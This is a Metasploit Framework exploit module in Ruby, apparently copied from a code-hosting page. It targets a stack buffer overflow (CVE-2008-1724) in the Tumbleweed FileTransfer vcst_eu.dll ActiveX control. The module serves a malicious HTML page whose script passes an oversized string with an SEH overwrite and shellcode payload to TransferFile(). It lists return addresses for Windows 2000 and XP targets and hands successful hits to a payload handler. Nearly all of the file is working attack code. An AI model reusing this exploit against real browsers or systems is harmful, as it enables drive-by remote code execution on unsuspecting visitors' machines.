97 lines
2.8 KiB
Ruby
97 lines
2.8 KiB
Ruby
##
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# $Id$
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##
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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class Metasploit3 < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpServer::HTML
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include Msf::Exploit::Seh
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'Tumbleweed FileTransfer vcst_eu.dll ActiveX Control Buffer Overflow',
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'Description' => %q{
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This module exploits a stack buffer overflow in the vcst_eu.dll
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FileTransfer Module (1.0.0.5) ActiveX control in the Tumbleweed
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SecureTransport suite. By sending an overly long string to the
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TransferFile() 'remotefile' function, an attacker may be able
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to execute arbitrary code.
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},
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'License' => MSF_LICENSE,
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'Author' => 'patrick',
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'Version' => '$Revision$',
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'References' =>
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[
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[ 'CVE', '2008-1724' ],
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[ 'OSVDB', '44252' ],
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[ 'URL', 'http://www.aushack.com/200708-tumbleweed.txt' ]
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],
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'DefaultOptions' =>
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{
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'EXITFUNC' => 'process',
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},
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'Payload' =>
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{
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'Space' => 1000,
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'BadChars' => "\x00\x0a\x0d\x80\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0<>()\"\\",
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},
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'Platform' => 'win',
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'Targets' =>
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[
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# Patrick - tested successfully against W2KSP0 EN, W2KSP4 EN, XPSP0 EN, 2007/08/17.
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[ 'Universal vcst_eu.dll', { 'Ret' => 0x1001ee75 } ],
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[ 'Windows 2000 Pro English', { 'Ret' => 0x75022ac4 } ],
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[ 'Windows XP Pro SP0/SP1 English', { 'Ret' => 0x71aa32ad } ],
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],
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'DisclosureDate' => 'Apr 07 2008',
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'DefaultTarget' => 0))
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end
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def on_request_uri(cli, request)
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# Re-generate the payload
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return if ((p = regenerate_payload(cli)) == nil)
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# Randomize some things
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vname = rand_text_alpha(rand(100) + 1)
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vurl = rand_text_alpha(rand(100) + 1)
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vhostName = rand_text_alpha(rand(100) + 1)
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vlocalFile = rand_text_alpha(rand(100) + 1)
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vMD5 = rand_text_alpha(rand(100) + 1)
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# Build the exploit buffer
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filler = rand_text_alpha(4620)
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seh = generate_seh_payload(target.ret)
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sploit = filler + seh
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# Build out the message
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content = %Q|
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<html>
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<object classid="CLSID:38681fbd-d4cc-4a59-a527-b3136db711d3" id="#{vname}"></object>
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<script language="javascript">
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#{vname}.TransferFile("#{vurl}", "#{vhostName}", "#{vlocalFile}", "#{sploit}", "#{vMD5}", false, false, 80, false, true, true, 420)
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</script>
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</html>
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print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
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# Transmit the response to the client
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send_response_html(cli, content)
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# Handle the payload
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handler(cli)
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end
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end
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